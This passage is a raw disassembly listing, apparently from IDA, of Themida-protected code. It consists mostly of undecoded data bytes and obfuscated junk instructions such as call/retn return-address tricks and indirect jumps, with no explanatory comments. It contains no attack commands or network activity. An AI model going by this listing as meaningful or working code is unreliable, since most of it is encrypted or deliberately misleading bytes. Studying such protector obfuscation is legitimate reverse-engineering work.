pusha popa pop ebx movzx edi, bx popa pop ecx clc retn ; --------------------------------------------------------------------------- db 60h dd 880Fh, 8B610000h, 0C9B260C0h, 6E8h, 0E7B04700h, 0FC67BBBh dd 81h, 0E9615A00h, 0Ah, 0D4F6B339h, 36B4CF52h, 0C08B2B99h dd 0C860Fh, 820F0000h, 6, 810Fh, 858D0000h, 7EAC370h, 11850Fh dd 0CE90000h, 58000000h, 9C601D85h, 58AE83AEh, 0FFBBD292h dd 98C0FD0h, 60000000h, 66FAB70Fh, 61DB03BBh, 60C18B66h dd 38D0Fh, 0BF0F0000h, 61FB8BCAh, 0F997858Dh, 8B0F07EAh dd 4, 61FA8B60h, 279D8589h, 850F07E4h, 7, 0F616060h, 8D61DABFh dd 0EAFABE85h, 0EE907h, 0AE230000h, 4CE839B8h, 0A1F4411h dd 83ADDE63h, 2CFD8589h, 10E907E4h, 49000000h, 0F2588E37h dd 3F090A4Dh, 1519DAADh, 0F886C289h, 0B8h, 800FFC00h, 1Ah dd 14860Fh, 0FE90000h, 86000000h, 2A543040h, 664E82FEh dd 0F479A5F1h, 0C00B8B23h, 127840Fh, 0C6FC0000h, 0E42C2D85h dd 0E8605607h, 6, 474AC343h, 0E4807633h, 0FA8A5FEBh, 30DF6861h dd 0E960A9C5h, 8, 7737F00h, 0BFC778BDh, 61F28B66h, 2141B5FFh dd 8E907E4h, 30000000h, 7177F341h, 8DD541BAh, 0E7B0A785h dd 178D0F07h, 0E9000000h, 12h, 3FFD1DB0h, 0C6DFEA31h, 7933202Bh dd 7D4A11FAh, 0D0FF26A4h, 8DF950F8h, 0E426C18Dh, 0F951F907h dd 0AE9046Ah, 34000000h, 198CD795h, 0DB3B86C7h, 100068FBh dd 0FFF80000h, 0E415DDB5h, 0D0FFF907h, 18E0Fh, 0FF80000h dd 184h, 0BD8BF900h, 7E415DDh, 0C2BF0F60h, 0CE961h, 8D0F0000h dd 0D81FA2DDh, 0C1E7669Ch, 7F03E409h, 6060F83Ch, 0A7B7D081h dd 59521F82h, 47BB5761h, 59578BCDh, 0F8C78161h, 60000000h dd 68F0Fh, 8C0F0000h, 0 ; --------------------------------------------------------------------------- mov edi, ebx popa mov dword ptr [edi+24h], 60000020h jnz loc_5F220F jnp loc_5F220F jmp loc_5F220F ; --------------------------------------------------------------------------- push es inc ecx imul eax, [ecx], 2908D241h xor bh, [esi+71CDA0E3h] adc bl, ah loc_5F220F: ; CODE XREF: Themida_:005F21EEj ; Themida_:005F21F4j ... jmp loc_5F2221 ; --------------------------------------------------------------------------- dd 44C58649h, 956F7C83h, 316951D0h db 0ECh ; --------------------------------------------------------------------------- loc_5F2221: ; CODE XREF: Themida_:loc_5F220Fj lea ebx, [ebp+7E40405h] jmp loc_5F2240 ; --------------------------------------------------------------------------- dd 773DDE33h, 0FA99770Bh, 0E907DF31h, 0CF0F3969h, 4F152F0Bh ; --------------------------------------------------------------------------- loc_5F2240: ; CODE XREF: Themida_:005F2227j jle loc_5F224F pusha push ebx pop edx mov edi, 5B9722D2h popa loc_5F224F: ; CODE XREF: Themida_:loc_5F2240j mov eax, [ebx] cmc pusha jmp loc_5F2261 ; --------------------------------------------------------------------------- dd 0AB789176h, 0E54A2930h db 6Ch ; --------------------------------------------------------------------------- loc_5F2261: ; CODE XREF: Themida_:005F2253j jo loc_5F2269 mov edx, eax loc_5F2269: ; CODE XREF: Themida_:loc_5F2261j popa or eax, eax jz loc_5F22B5 pusha mov ch, 3Ah stc popa jmp loc_5F2281 ; --------------------------------------------------------------------------- dd 6A51938Eh db 0A0h ; --------------------------------------------------------------------------- loc_5F2281: ; CODE XREF: Themida_:005F2277j mov eax, [eax] pusha pusha jmp loc_5F229D ; --------------------------------------------------------------------------- sbb [ecx], esi mov esp, 0CEB7629Dh xor [edx+62A14A4Dh], dh sar dword ptr [ebp-4Dh], cl cli mov bl, 9 loc_5F229D: ; CODE XREF: Themida_:005F2285j popa adc si, 1641h popa pusha cmc adc edi, 1BD275E1h popa mov [ebx+4], eax pusha movzx ebx, si popa loc_5F22B5: ; CODE XREF: Themida_:005F226Cj mov ecx, 234CF6h lea ecx, [ebp+7EAFEB4h] push 0 push edx call sub_5F22CB and [edx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5F22CB proc near ; CODE XREF: Themida_:005F22C3p arg_4 = dword ptr 8 pop edx mov [esp-4+arg_4], edx add [esp-4+arg_4], 1Ch inc edx push edx retn sub_5F22CB endp ; --------------------------------------------------------------------------- db 65h dd 4D5ACE41h, 23720762h, 6850Fh, 0BD8B0000h, 7E40DB9h dd 53D8B70Fh, 718D895Eh, 3307E41Bh, 0E4140D85h, 0A185C707h dd 0B007E42Dh, 0F000059h, 38Ah, 0D88B6600h, 22B985C7h dd 7E4h, 9D890000h, 7E41D55h, 2291B5FFh, 0FE8B07E4h, 306195FFh dd 0B58907E4h, 7E40A11h, 95FF006Ah, 7E40E41h, 6FEBC08Bh dd 1BA9B049h, 97030C6Bh, 496705B5h, 52F3A68Bh, 578DB984h dd 0FA4E6EE6h, 0FBC2BC00h, 0EDDF979Dh, 68E5CE52h, 0E451A599h dd 37F7625Dh, 314DC37Ch, 3664DE08h, 3893449h, 0EAD71302h dd 4A7CF0C5h, 72EC157Ah, 852F3BAAh, 0CE6CBB1Ah, 1980141Fh dd 68A80D53h, 0EAF4BA02h, 0DA267E44h, 59327264h, 17FA4F96h dd 0B2AD8715h, 6CE3528h, 8D912D1Eh, 0EB00088Dh, 53006A07h dd 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1804h, 0C3534300h dd 0EA91F8E5h, 5E8BFh, 0E6EE0000h, 8B171F47h, 0E40A5DB5h dd 0D4BB5A07h, 8948A04Eh, 0E41B718Dh, 0C7C68B07h, 0E42DA185h dd 633407h, 0CA816600h, 85C75C10h, 7E422B9h, 0 dd 0AE860h, 0FDDB0000h, 9B1B399Dh, 962158B3h, 19159D8Bh dd 35807E4h, 0E41C75BDh, 0B5FF6107h, 7E40E15h, 0E856006Ah dd 3, 5EC35E20h, 4247489h, 4244481h, 1Bh, 0F1C35646h, 0A50B192h dd 6049F6DEh, 58C88A51h, 0F555B7BBh, 95FF6105h, 7E43061h dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 1Ah, 0A2C35343h dd 68093D90h, 5E56046Dh, 95FF006Ah, 7E40E41h, 5EEBC08Bh dd 36A8FB0Fh, 2743F575h, 4A60BB5Eh, 0F6A8BBE6h, 0CD298D23h dd 0CD3D6C60h, 0E0D863ACh, 0E6E88350h, 0F987A1A9h, 0AD7AB257h dd 3E8B2167h, 0B09BFACBh, 3DBCD1EBh, 0CB6DF99Dh, 0A1EC12C3h dd 0B9125EECh, 0DE2AB413h, 3EEAB696h, 5C0E9114h, 6F3BEA35h dd 0E4AF1D1Ah, 13FDE9A3h, 3D33A4B8h, 0DE8D73Ah, 9D000000h dd 0FE88F876h, 0E7C01150h, 0B287548Bh, 6830Fh, 85890000h dd 7E40065h, 9BB8665Bh, 0B7C38178h, 8900006Dh, 0E422C985h dd 73CEBA07h, 0F2811DEBh, 1DEB6884h, 139E2FBEh, 8B0B8B63h dd 0E40FA1BDh, 6F18107h, 662C3A9Eh, 20D7D881h, 20ABC181h dd 0BD893575h, 7E41BD1h, 0ECB6F181h, 0B8660B81h, 8A514CB9h dd 89038FE5h, 0E40939BDh, 89EB8107h, 6624B90Ch, 0C381F88Bh dd 24B90C85h, 9075B866h, 1EA81h, 850F0000h, 0FFFFFFADh dd 6F9858Bh, 0CE807E4h, 17000000h, 0BE1FD8B8h, 0FA01546h dd 8B278E4Ch, 0E431CD95h, 60535E07h, 867BE781h, 0E2800AACh dd 815B6157h, 6736C6h, 3946B900h, 9BB83CEAh, 0F000019h dd 28Dh, 0FF25B300h, 0B5B53136h, 5F07E421h, 0F78104B1h dd 0D923BA2h, 2D599D89h, 0C78107E4h, 0F049B44h, 0C781D4B2h dd 10AEF376h, 57DBB70Fh, 991958Bh, 68F07E4h, 0DABF0F57h dd 4EE835Ah, 18D0Fh, 83F50000h, 850F01E8h, 1Ch, 18B18D89h dd 42E907E4h, 0E6000000h, 1BF32575h, 4B2013E5h, 5A09BF67h dd 483B1DCEh, 0CE8h db 0 byte_5F2635 db 74h, 0F6h, 17h ; DATA XREF: Themida_:005851E4o dd 0C0B43181h, 79731960h, 0A58589BAh, 5B07E425h, 0FFFF7EE9h dd 8C349FFh, 0B654AC30h, 0B06DFC88h, 270F81CDh, 417F9EAAh dd 12E8A0h, 76500000h, 28D94AD5h, 4FFCA2h, 0BDCA5BFBh dd 0F80CD2DDh, 8F0Fh, 29590000h, 0E405819Dh, 91C18107h dd 0E900005Bh, 0Ch, 1D071372h, 0AB70E7Ah, 0A7B5E98Bh, 16B1B8h dd 820F6000h, 6, 2B618D29h, 958907E4h, 7E400A9h, 8B31FF61h dd 0E4224DB5h, 81605B07h, 0D46CADD2h, 0C985895Eh, 6107E40Eh dd 0B368F381h, 0F48A7903h, 4130F381h, 0F7811788h, 485C7B9Ah dd 5CCF381h, 950938AEh, 7E41F39h, 0B5291989h, 7E41ECDh dd 6604E983h, 0E881F98Bh, 1, 1E850Fh, 810F0000h, 0 ; --------------------------------------------------------------------------- jmp loc_5F2737 ; --------------------------------------------------------------------------- db 89h, 35h, 75h dd 6BB49232h, 0C1CC46F7h, 9FA94C80h, 0DEE24596h, 2025B589h dd 86E907E4h, 0C8FFFFFFh, 0ABF85F9Ah ; --------------------------------------------------------------------------- mov al, 0DBh pop esi loc_5F2737: ; CODE XREF: Themida_:005F270Cj lea ecx, [ebp+7EB0302h] mov [ebp+7E42691h], ecx mov [ebp+7E41B71h], ecx mov [ebp+7E42739h], edx mov [ebp+7E4064Dh], edx mov dword ptr [ebp+7E42DA1h], 69B4h add [ebp+7E42A11h], ebx mov dword ptr [ebp+7E422B9h], 0 or ebx, [ebp+7E42D09h] push dword ptr [ebp+7E40919h] add bx, 0B652h call dword ptr [ebp+7E43061h] push 0 call dword ptr [ebp+7E40E41h] mov eax, eax jmp short loc_5F27F0 ; --------------------------------------------------------------------------- pop eax mov ds:63CD2A3Dh, eax retf ; --------------------------------------------------------------------------- db 29h, 83h, 53h dd 78B3BB5Fh, 0D8DE146Dh, 321AC215h, 0A4C98731h, 2CA821F2h dd 0E753CBDDh, 16C7A964h, 0CAC1B62Fh, 7B6B88DBh, 17F8BB16h dd 49513003h, 78900CDh, 4977BBE3h, 0A79412FBh, 16407C46h dd 352B51E2h, 0D67E746Fh, 3E9696FEh, 0D7115128h, 37D8A028h dd 394C7057h ; --------------------------------------------------------------------------- loc_5F27F0: ; CODE XREF: Themida_:005F2790j lea ecx, [ebp+7EB0417h] stc mov [ebp+7E41B71h], ecx push 0 push ecx call sub_5F2808 and [ecx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5F2808 proc near ; CODE XREF: Themida_:005F2800p arg_4 = dword ptr 8 pop ecx mov [esp-4+arg_4], ecx add [esp-4+arg_4], 1Bh inc ecx push ecx retn sub_5F2808 endp ; --------------------------------------------------------------------------- dd 0FF728BC5h, 0D6CE0582h, 85C7F88Bh, 7E42DA1h, 63DCh dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 1Ch, 0DCC35545h dd 0A4C18881h, 617856Ah, 28C0F57h, 8B000000h, 85C75BC1h dd 7E422B9h, 0 ; --------------------------------------------------------------------------- mov [ebp+7E40539h], esi push dword ptr [ebp+7E41E8Dh] push 0 push edx call sub_5F287B and [edx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5F287B proc near ; CODE XREF: Themida_:005F2873p arg_4 = dword ptr 8 pop edx mov [esp-4+arg_4], edx add [esp-4+arg_4], 1Ch inc edx push edx retn sub_5F287B endp ; --------------------------------------------------------------------------- and eax, 8101A986h sti sub bl, [ebx+7Bh] call dword ptr [ebp+7E43061h] clc push 0 call dword ptr [ebp+7E40E41h] mov eax, eax jmp short loc_5F28C3 ; --------------------------------------------------------------------------- db 2Dh dd 8C739695h, 0CEBE5755h, 8855CF79h, 9B9C5B55h, 0C334BB02h dd 1E934D45h db 0D0h, 0A0h, 0B0h ; --------------------------------------------------------------------------- loc_5F28C3: ; CODE XREF: Themida_:005F28A5j jmp loc_5F28F2 ; --------------------------------------------------------------------------- dd 0CDD7FBEh, 9 dup(0) db 2 dup(0) ; --------------------------------------------------------------------------- loc_5F28F2: ; CODE XREF: Themida_:loc_5F28C3j jmp loc_5F34DA ; --------------------------------------------------------------------------- push 7EB05DCh jmp loc_598345 ; --------------------------------------------------------------------------- push 7EB0703h jmp loc_598345 ; --------------------------------------------------------------------------- push 7EB090Ah jmp loc_598345 ; --------------------------------------------------------------------------- push 7EB0A6Fh jmp loc_598345 ; --------------------------------------------------------------------------- push 7EB0BB8h jmp loc_598345 ; --------------------------------------------------------------------------- push 7EB0D76h jmp loc_598345 ; --------------------------------------------------------------------------- push 7EB0EA6h jmp loc_598345 ; --------------------------------------------------------------------------- db 8Bh, 0CFh, 89h dd 3E184156h, 0EE5EF60Bh, 0A2B2A6BBh, 51F95A6Fh, 7CC1EA1Eh dd 2B4073D7h, 0DEF3262Ch, 90A5D878h, 0F15689C5h, 9274A487h dd 0C5792400h, 327CD9C4h, 96E02921h, 65A9A7AFh, 286CE472h dd 78788CD5h, 7CA1CE49h, 0DACD4172h, 98A0D37Bh, 49307A76h dd 950F400Ah, 0FA776FB2h, 0E3273423h, 0FA54C0F4h, 0BA952823h dd 5E59FEAEh, 407D5Ah, 39810000h, 0FA5D2656h, 32152323h dd 23FA5D02h, 80B1FA07h, 0C8C0E601h, 979C9B7Eh, 0D27F23F9h dd 3487CB83h, 84B8A7EBh, 0EC23F997h, 7AD40618h, 0FA99593Ah dd 0A3BF90C9h, 5A5E13CBh, 0D270h, 7CD96F00h, 0B89B8ED2h dd 0FA5B4E92h, 381D1054h, 6CD2E316h, 5F1C1593h, 102558F6h dd 0DFC50945h, 0ADDDC0C9h, 0B21C1592h, 2F125CA5h, 23F9A774h dd 81F72A37h, 9F265639h, 162323F9h, 0F8292B2Dh, 84CEDAECh dd 0E111F43Ch, 0DE23F99Eh, 478BA0D1h, 4C2BE088h, 4E97B59Fh dd 1A3C1D04h, 0D85283D6h, 9EE862F1h, 83B4A2B7h, 62480B20h dd 21135CF4h, 0C2A659DEh, 0D1252246h, 0B5000009h, 6B80B3A5h dd 203568EEh, 0D0E51834h, 8499CC88h, 14487BCFh, 9DADA6B7h dd 5002556Ah, 24E081Dh, 0B39BBACFh, 0CEB11B80h, 2400939Eh dd 78E6E79Bh, 8F1D4D30h, 15221C15h, 0A3D82D01h, 2D5E573Dh dd 0D80B3F14h, 89BC92C3h, 24282C13h, 42E3C2E0h, 0D72206E9h dd 78DE5D8Eh, 5C8DC791h, 4E313E50h, 1C158F1Eh, 7BC50E1Bh dd 0F9979998h, 45899623h, 0F9982256h, 0A0B2A523h, 60EA695Ch dd 0D877121Ch, 3B14A7ABh, 5EAA7F2Fh, 0F7DA225Ah, 23F993C7h dd 0E686B7C4h, 0D0h, 327CD9E5h, 99E32C24h, 78A9A1B2h, 0D99EB004h dd 32402F4Ch, 8CC7E011h, 0A3AADABDh, 76021C15h, 0F4D2DC98h dd 16441C83h, 3BC2FC44h, 76E1CA13h, 0FC4598DCh, 485264B8h dd 24523E0Dh, 9357BD38h, 68B17B60h, 63BC2237h, 262F1C16h dd 75E0F528h, 99AF95D9h, 0F9604791h, 95C6195Dh, 777D381Bh dd 853223FAh, 63982D4h, 96E0E8FEh, 0E1355EB3h, 0FA44512Bh dd 0CC104613h, 0E7CE4879h, 96ABDE6Ch, 5A9B8DBDh, 0C6C2A72Dh dd 8AAA5A2h, 7EDC0000h, 0C792A7DAh, 0D475C8Fh, 61F70C3Fh dd 0A8ABC0F3h, 903B6FA2h, 91C486CDh, 4477DB7Ch, 0F629272Fh dd 0A7DA74E1h, 0C5F5D842h, 0CA240095h, 7AD91516h, 15279DD0h dd 0FBA11A2Bh, 0D2EB1C94h, 1D98CB83h, 80077CD9h, 0BC1C06F8h dd 2529593Ch, 19261C16h, 0EF4387D0h, 2494C4A7h, 40171C16h dd 147BCE12h, 98BDD607h, 557B83B6h, 2530135Dh, 0EA23FA3Eh dd 0AFA699DDh, 0FE576C9Fh, 0D1B80C50h, 0BAEACD88h, 0BF23FA1Dh dd 0D22569B2h, 40798CA1h, 59FCAB40h, 95BEB1F5h, 0C7104215h dd 71DE7983h, 0A0B29A14h, 8E631AEDh, 0E51E4F74h, 0ABD87D6Ah dd 0EBC16E4Bh, 1963AC75h, 0BC632632h, 88D89260h, 196CB0F9h dd 0FD0F85E8h, 489CE436h, 3F588955h, 5F43816h, 9CB880D2h dd 6683CC11h, 0B62C5FEFh, 272C8ACFh, 438CDF23h, 0F25CF912h dd 8088BFAEh, 0B5A19CB8h, 0F464579Bh, 0E5C81C60h, 9B729BB5h dd 209FADBAh, 3E6E512Fh, 3B9B729Ch, 5DD2E52Eh, 0EE60F5F2h dd 9FAFA6BBh, 5753755Bh, 53B3C50Dh, 474C39F5h, 48C7DC0Dh dd 0E3A357AEh, 0EB2F1F36h, 4AE48498h, 0B1CAE06Ah, 1F371E68h dd 959D0031h, 4A2D7773h, 9CB3132Bh, 0F0DF2330h, 9B72D2BDh dd 26095125h, 9B72D2F6h, 3E0E46F3h, 755EA7FAh, 53E6FE1h dd 0DB4E1E4Ah, 0F5ED22E7h, 0EC000003h, 8EC89178h, 0FCB1AD5Dh dd 0E62113EAh, 9D207CA7h, 20270A54h, 0B23F9C4h, 89CDB4FEh dd 0FF3083C7h, 85DACE59h, 0C4EAA508h, 0E3272B2Ch, 0B5FD4790h dd 85A2D2h, 1E3025A3h, 132087DAh, 928568E2h, 32AAE4A7h dd 64D707EAh, 0C7D49D24h, 252FF96h, 0D7BD014Ah, 5D6FB9B1h dd 0AACF9EF9h, 57876A77h, 549D23E7h, 0D1B4FE47h, 9D23E6A1h dd 0E660919Eh, 0B977603h, 482B39A5h, 0A2FF7718h, 75BF0815h dd 71E7C78Eh, 52679AE3h, 0A8AEAB03h, 6A9E6D5Fh, 0C2E63BBFh dd 6A3C5h, 0E177E300h, 96C099AEh, 46064E63h, 0FA5AFE13h dd 0A9A1B2C7h, 0D4994276h, 8398CB7Fh, 364B7ED4h, 0E8FD3020h dd 49AEE16Dh, 97CCFCDFh, 1DD12400h, 0C7C0E61Ch, 158EB4E4h dd 63ACB91Ch, 0BEEED119h, 0BB1C158Eh, 8E9ACAADh, 929F1C15h dd 569E1849h, 78739244h, 233EBE2h, 0F9F3E2EDh, 977AC223h dd 23F9E367h, 2A0D5764h, 23F9E3FAh, 2AC1F2FFh, 6AECD31Dh dd 1E4FA2E6h, 0B09EB7AAh, 78D67F66h, 3CB0E134h, 2B0E5632h dd 23F9E3FBh, 0DF0FF200h, 0DC23F9E3h, 1C5586CFh, 0A5ADC333h dd 0D1E5745Bh, 5182CB85h, 0FCE9F4D7h, 919E2BDDh, 75D6E85Eh dd 3905B93h, 5EF71041h, 4658ACF0h, 11C701C1h, 7891C2E1h dd 152771DDh, 0D65A6EF4h, 0E2568713h, 94C6AEFh, 0C5B8FC45h dd 5C79BD8Fh, 0F01B68E7h, 0D4E6A4ABh, 6E45DA4Fh, 0E5FE2FF4h dd 96163E70h, 0F6498DBDh, 0CD1669ADh, 2293B83h, 0F95B8886h dd 6067977Ch, 57641C16h, 54DC326h, 1660F222h, 0B9EAF71Ch dd 0BA714921h, 23EEE5Dh, 0E6ED0000h, 367EC8C0h, 84C0A4Fh dd 7C6F84B5h, 1C240093h, 9E42280Ah, 26572106h, 5138828Fh dd 154802h, 0C4B3F753h, 2400988Fh, 5202563Dh, 614D0821h dd 221559F3h, 88DB1F37h, 0FD04F63Fh, 87CA945Dh, 53E6663h dd 12480000h, 5BFE1346h, 0A1B3C8FBh, 0F56378ABh, 3C172C5Fh dd 4A7DB0Eh, 0FD301A39h, 0B0E36FE8h, 6295BB9Bh, 1346084Dh dd 316144AEh, 2E240099h, 6678797Ah, 0B8CFD3F9h, 1C2859E7h dd 3E16FD0Ah, 9277CA0Eh, 1C15DC62h, 0C7115A67h, 93BF987Fh dd 0E15A4D62h, 0D0DD2400h, 851388Ch, 51041D4Eh, 8CCCB3FDh dd 1F3497C8h, 0E1D41836h, 6196DA74h, 6E55331Ch, 0E0769FEAh dd 170246DCh, 6378ACEh, 0B3E668EDh, 518F4F1Fh, 16AEC5Ah dd 0D9EB0000h, 9B8ED27Ch, 596194BAh, 0EF13B37h, 23F9A2CBh dd 9279C3D0h, 0B2A28BC3h, 6F5699Ah, 23F9A1D2h, 0BCA8A73Ah dd 5A5E8CECh, 70759FB1h, 2F1B6EDBh, 2F5EFEh, 0E65D0000h dd 367EC8C0h, 8EDB0BEEh, 0D3E01C15h, 978E8DA2h, 0C7AE23F9h dd 0FA91C290h, 86BAA9EDh, 0EE23F997h, 2078F45Bh, 475A5EAAh dd 0ABh, 77CD946h, 6E5A00F4h, 0A2E62FF7h, 62F0674Eh, 819ACB1Eh dd 0D17DD8D2h, 6C74A487h, 6C791C16h, 63F2D923h, 5346BAEBh dd 15084C02h, 0CADB0E40h, 1C167164h, 2D60EE67h, 0BD070325h dd 0FD5003DAh, 115B6823h, 0EE21292Ah, 0DED07AD9h, 0BAC31639h dd 0F5423F63h, 91000003h, 475C8FC9h, 0FC114412h, 0ACC1F458h dd 6075A8ACh, 0F02457F3h, 79D182CBh, 2C263146h, 0DE72E4F9h dd 8FBF96ABh, 0AA8DF75Ch, 2400997Ah, 0D9CACB7Fh, 9F86D07Ah dd 5F5296B4h, 0E1125BF9h, 97EC697Eh, 7B7AA814h, 20539C8Bh dd 4F7F62AAh, 4C1C15B1h, 0D98F0E3Fh, 9B8ED27Ch, 0EB6194BAh dd 0BC005404h, 1A2C3869h, 957CC40Eh, 465B8CBEh, 23F9C0C7h dd 24135764h, 23F9BFF2h, 9565EA2Fh, 0E52D7773h, 0BF8ABA9Dh dd 0E28F23F9h, 479ADE76h, 39B8CDFEh, 0F62BDDF1h, 8ED505E8h dd 0CDDA1C15h, 93DB5184h, 158E80B0h, 89D07D1Ch, 0D45384CDh dd 8ED27CD9h, 0C7AAF23Ah, 1C158E97h, 72A28794h, 771C158Eh dd 78D2816Ah, 97B0E134h, 555D90BEh, 0AED3733h, 23F9A2C7h dd 8C7BBFCCh, 23F9A158h, 46222DC0h, 5A5E8C16h, 2915h, 66781400h dd 0D3C656C0h, 4753849Ah, 0FCDF2921h, 23FA4AFDh dd 625195A2h, 23FA492Eh, 204C0396h, 5A5E1948h, 0F6EFh dd 7CD9EE00h, 8EBEEED1h, 1C391C15h, 75BECB32h, 95153E31h dd 7CAC8FC2h, 811C158Eh, 9EE22B74h, 60A4AAABh, 81B6FA0Ch dd 9EB87D1Ch, 6DB1A3B5h, 85D0E91Ah, 1F8596C9h, 0E1C15A5h dd 0F3230647h, 0F81C15A3h, 5A6FA2EBh, 290F53FBh, 0DEC10B07h dd 23F9B297h, 460F4A31h, 0F9AA3363h, 0E22B3823h, 67374B9Eh dd 3BF16D5Eh, 4D5AF122h, 84D4BB03h, 0A0BBEBD0h, 0FADD23F9h dd 23F9A0CAh, 4E5BC2CFh, 5D44BA1Dh, 1A2657F9h, 0CFB2FCF4h dd 2BE08AF2h, 4836956Dh, 0ED57AC9Ch, 0E0735AA4h, 3122376Ah dd 62062719h, 6E92C2A6h, 23771h, 4D0B4F00h, 254051Ah, 0B29ABACFh dd 66EE6A7Fh, 15351E33h, 400DAEE2h, 0EF043713h, 0A2B7EA68h dd 54699CB4h, 0B51A4D01h, 9C38684Bh, 81352400h, 0C5917880h dd 2D9027C0h, 82CB140Ah, 4F93BD99h, 0A1B2CBFCh, 0F46176A9h dd 0E6AC275Ah, 367EC8C0h, 448064Fh, 0C08CC8B1h, 0E3F8297Ch dd 23F997E4h, 2276BAC7h, 6575EF10h, 467718A6h, 0F9BFFD31h dd 7DD26523h, 5E92B9F1h, 59FDE45Ah, 0E26C6F7h, 25000001h dd 8BC59178h, 8F2E5E41h, 1E2B1C15h, 0CD81D4EDh, 685A7183h dd 0C161B0B0h, 4071BA94h, 0D07AD9CCh, 9426388Ch, 0B1E1C4C7h dd 0AE1C15FEh, 9EEB8DA1h, 80E6FB2Ch, 6B1C164Ah, 0BB3164EAh dd 33B2DDA9h, 0C9FAEF59h, 65A9A5B0h, 6696697Fh, 0E978EC7Bh dd 23065099h, 23F9DFDCh, 0FF5105ECh, 0A03768BBh, 36586093h dd 0DB265639h, 0E57623F9h, 0A3A86B00h, 0ACF50269h, 20331A62h dd 6293E62Ah, 0E080114Dh, 6FE9962Bh, 54EA1E5h, 7C6173BBh dd 0B3F9521Eh, 350699Ah, 4016FD47h, 202E2710h, 0DC778CEFh dd 3AA77C6Eh, 0E90DC2A7h, 107ECh, 7DDB7F00h, 3224354Ah dd 0E26AEAFFh, 96BE9AAFh, 45054E63h, 70FDDE12h, 1F3467E3h dd 0D2E71A38h, 8499CC84h, 0E54A7DD1h, 9C68987Bh, 0B1652400h dd 0C69178B0h, 8E78A88Bh, 68751C15h, 7ED5EE1Fh, 0D18499CCh dd 0F5D87BDDh, 1C158EC5h, 3074BDCAh, 80B093DDh, 7D1C158Eh dd 0F6DD2770h, 5ABDEE5Eh, 0D27CD9DFh, 2D5D4088h, 321C158Fh dd 8D80F425h, 4B5386C8h, 19492C25h, 941C158Fh, 1C2990C4h dd 8EBFEFD2h, 0AFBC1C15h, 42391C66h, 0ED240093h, 0ACA99CE0h dd 0FB5A6FA2h, 12200F53h, 0F82F3702h, 74E1FE51h, 0C392A7DAh dd 0F977A78Ah, 677428F2h, 0FA0A3A1Dh, 20F28F2h, 0D68275B9h dd 9EC347Eh, 28F2F9D9h, 2498C9D6h, 0B2D07F1Ah, 3E7AC8A0h dd 4071B1A0h, 0D6202E27h, 267BAB8Eh, 738028F3h, 8BCADF42h dd 0D76779C3h, 0E06CE86Ch, 24951CCh, 5189FBEEh, 8BBCE51Bh dd 78DCC317h, 0C3D90D4h, 3E9h, 3A69EE00h, 93D781D9h, 5599B5A0h dd 185CF462h, 0DC203225h, 9CE06AE9h, 5CA0AAA9h, 2165EF69h dd 0E226262Eh, 0A8EC6AEFh, 4EC816Ah, 89000000h, 89512434h dd 4C181E1h, 83000000h, 0C8704E9h, 0C895C24h, 39936824h dd 2C890000h, 0FBBE5624h, 8341B419h, 0F681FFC6h, 0BD61945h dd 8106EEC1h, 0C28CB0F6h, 5EF18906h, 242C8B54h, 6804C483h dd 3C49h, 0BB241C89h, 8, 0B89EB01h, 242C8B5Bh, 81E28952h dd 4C2h, 4C28300h, 5C241487h, 592434FFh, 4C481h, 6EE90000h dd 75FFFA4Eh db 0F8h, 81h ; --------------------------------------------------------------------------- loc_5F34DA: ; CODE XREF: Themida_:loc_5F28F2j mov eax, 7EB0FD2h add eax, ebp jmp eax ; --------------------------------------------------------------------------- db 80h dd 0AA7E9D26h, 611F8113h, 59626496h, 5B22BDE5h, 0C04726FFh dd 0C10144AAh, 0AC3A14B8h, 972C9470h, 3448C42Ah, 8F30A0AAh dd 0C11A35DAh, 61650547h, 462D2DBDh, 60269FAh, 4611614Dh dd 0E976BCCDh, 25h, 7C59F37Ah, 8 dup(0) dd 4DFE900h, 0BB680000h, 0E907EB11h, 0FFF96D2Bh, 0EB124E68h dd 6D21E907h, 0F668FFF9h, 0E907EB13h, 0FFF96D17h, 0AD41633Bh dd 0A9EBE97h, 6AFE18F4h, 0CD617554h, 2CC0DCB7h, 0D9B4AD53h dd 391329BDh, 9371871Bh, 0F6D3E97Dh, 0E7974ADEh, 0A9B0956Ah dd 6DFC4113h, 0B9923092h, 0A0492E99h, 9C051442h, 7995708Ah dd 7E967341h, 0EAC4CBEAh, 8B9F1D9Ah, 84ED13A6h, 8CDC9F4Ch dd 5A6B13A6h, 0E58D722Ah, 594AD877h, 6A000003h, 63E0EFCCh dd 13A6809Ch, 4078D13Ah, 217A9872h, 0F4923A0Fh, 589BFB1Bh dd 0D9D187E1h, 64A2CDDFh, 0ADFDB1DEh, 0A6836230h, 0BEC73013h dd 0C3FDB1B3h, 866200EEh, 0D99346Ch, 0DF021434h, 31AEFEB0h dd 16EF03D3h, 290038A1h, 7BF84866h, 1E8B3F5Ch, 0D371C12Ah dd 8A3DBF9h, 18B618F6h, 0F40E203Eh, 556BFF17h, 0E30C6078h dd 745CEF75h, 358AE34h, 39110000h, 946D8317h, 0EECAE074h dd 4B2A40D4h, 0B28DA337h, 0C3290296h, 0FF93AF8Ah, 5DF10FE9h dd 0BF536947h, 20B4CCA9h, 0BB40BD6Dh, 1713A9B1h, 424D43D2h dd 7D9F1C6Ch, 1313A9B0h, 0B14136B3h, 910E13A9h, 13A9B1EAh dd 45AEFF68h, 9C3A9CECh, 13BA1BEh dword_5F3698 dd 64257876h, 8AA27F0Bh, 67835E78h, 805BF9D3h, 7F912C64h ; DATA XREF: Themida_:0058261Co dd 366E8A65h, 56830989h, 0E3BE5CECh, 94F48FC7h, 98D55EB4h dd 163042F5h, 0EE101A39h, 5115D73Dh, 0A955A4F8h, 0D6166A15h dd 2C550h, 0AACCA400h, 7270016h, 67815D73h, 0CADEBDD3h dd 29452036h, 1D36BC95h, 7C922642h, 0DAF084A2h, 3C52E6FCh dd 0B3475Fh, 0B22CD350h, 65AA13A9h, 75424DD6h, 42A003F8h dd 9DB99414h, 3A8AE34Ch, 0A9B063BDh, 53D03213h, 13A9B1ACh dd 0D0AFC12Ah, 0F9822F67h, 1A13A9B1h, 1CEA2240h, 8DF1293Dh dd 0C41C5410h, 34CBF3B3h, 0A1D8710Ch, 1E4h, 1DE25FC1h dd 0B913A9B9h, 56693E50h, 5B296179h, 